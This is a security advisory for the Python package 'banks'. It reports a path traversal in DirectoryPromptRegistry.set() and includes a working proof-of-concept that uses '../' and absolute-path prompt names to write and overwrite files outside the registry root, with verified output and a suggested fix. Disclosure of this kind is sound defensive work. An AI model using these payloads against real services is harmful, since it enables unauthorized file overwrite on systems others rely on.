PYSEC-2026-3810

    Dashboard / Vulnerabilities / PYSEC-2026-3810

    PYSEC-2026-3810

    Published: 10 Sept 2026Last Modified: 10 Sept 2026

    Summary: Banks: Path traversal in `DirectoryPromptRegistry.set()` allows arbitrary file write outside the registry root

    Details: ## Summary `DirectoryPromptRegistry.set()` interpolates the attacker-controllable `Prompt.name` into a `Path` expression with no canonicalization. An application that derives the prompt name from request data lets a caller write attacker-controlled bytes outside the configured registry directory. ## Details `src/banks/registries/directory.py:44` ```python prompt_file = path / f"{prompt.name}.{prompt.version}.jinja" prompt_file.write_text(prompt.raw) ``` Two failure modes: 1. **Relative traversal.** `name="../victim/foo"` resolves to `<registry>/../victim/foo.0.jinja` — outside the configured root. 2. **Absolute-path bypass.** `pathlib` documents that `Path("/a") / Path("/b")` returns `Path("/b")`. So `name="/abs/path"` discards the registry root entirely; the registry is never consulted. The poisoned `name` is then persisted to `index.json`, so the out-of-root path keeps reconstructing on later `_load()` calls (`directory.py:135-141`). With `overwrite=True`, existing files at the target path are replaced. ## Proof of Concept ```python import tempfile from pathlib import Path from banks import Prompt from banks.registries import DirectoryPromptRegistry work = Path(tempfile.mkdtemp()) registry = work / "registry"; registry.mkdir() victim = work / "victim"; victim.mkdir() reg = DirectoryPromptRegistry(str(registry)) # (1) Relative traversal reg.set(prompt=Prompt("pwn", name="../victim/pwned", version="0")) print((victim / "pwned.0.jinja").read_text()) # 'pwn' # (2) Absolute-path bypass — registry root is silently discarded target = victim / "absolute_pwn" reg.set(prompt=Prompt("abs pwn", name=str(target), version="0")) print((victim / "absolute_pwn.0.jinja").read_text()) # 'abs pwn' # (3) Clobber an existing file existing = victim / "clobber_me" existing.write_text("ORIGINAL\n") reg.set(prompt=Prompt("CLOBBERED", name=str(existing), version="0"), overwrite=True) print((victim / "clobber_me.0.jinja").read_text()) # 'CLOBBERED' ``` **Output (verified on `banks==2.4.2`):** ``` pwn abs pwn CLOBBERED ``` [test_sandbox_baseline.py](https://github.com/user-attachments/files/27572665/test_sandbox_baseline.py) <img width="793" height="149" alt="Screenshot 2026-05-10 at 3 19 49 PM" src="https://github.com/user-attachments/assets/5c8a79ba-eaf8-4425-8612-4414bc34a0d6" /> [registry_path_traversal.py](https://github.com/user-attachments/files/27572619/registry_path_traversal.py) <img width="893" height="221" alt="Screenshot 2026-05-10 at 3 20 02 PM" src="https://github.com/user-attachments/assets/8aceca27-5df1-4b59-9a77-502698da6e65" /> [registry_path_traversal_v2.py](https://github.com/user-attachments/files/27572620/registry_path_traversal_v2.py) <img width="1036" height="272" alt="Screenshot 2026-05-10 at 3 20 18 PM" src="https://github.com/user-attachments/assets/aaceec31-f9a8-432f-b013-29694dd22478" /> **Negative control:** with a benign `name="okay-name"`, the file lands inside `<registry>/` and the victim directory remains untouched. ## Impact Arbitrary file write at an attacker-chosen path with attacker-controlled bytes, scoped to whatever the application process can write to. The `.0.jinja` suffix limits some chains, but does not prevent overwriting templates consumed by the same or another application, planting files that other tooling ingests, or clobbering predictable-path config artifacts. Realistic threat model: any "prompt management" service that exposes prompt creation through an authenticated API and forwards user-supplied `name` (and `version`) to `Prompt(...)` plus `DirectoryPromptRegistry.set()`. ## Suggested Fix Reject obviously dangerous names early and verify the resulting path stays under the registry root after canonicalization: ```python # src/banks/registries/directory.py import re _NAME_RE = re.compile(r"[A-Za-z0-9._-]+") @classmethod def from_prompt_path(cls, prompt, path): if not _NAME_RE.fullmatch(prompt.name or ""): raise InvalidPromptError(f"Invalid prompt name: {prompt.name!r}") if not _NAME_RE.fullmatch(prompt.version or ""): raise InvalidPromptError(f"Invalid prompt version: {prompt.version!r}") candidate = (path / f"{prompt.name}.{prompt.version}.jinja").resolve() if candidate.parent != path.resolve(): raise InvalidPromptError( f"Prompt path escapes registry root: {candidate}" ) candidate.write_text(prompt.raw) return cls( text=prompt.raw, name=prompt.name, version=prompt.version, metadata=prompt.metadata, path=candidate, ) ``` The same enforcement should run inside `_load()` and `_get_prompt_file()` so a poisoned `index.json` from a vulnerable run cannot keep escaping after upgrade.

    Affected packages

    Package

    Name: banks

    Purl: pkg:pypi/banks

    Affected ranges

    Type: ECOSYSTEM

    Events:

    Introduced- 0
    Fixed -2.4.5

    Affected versions

    0.0.1
    0.0.2
    0.0.3

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    PYSEC-2026-3810 | CVE-DB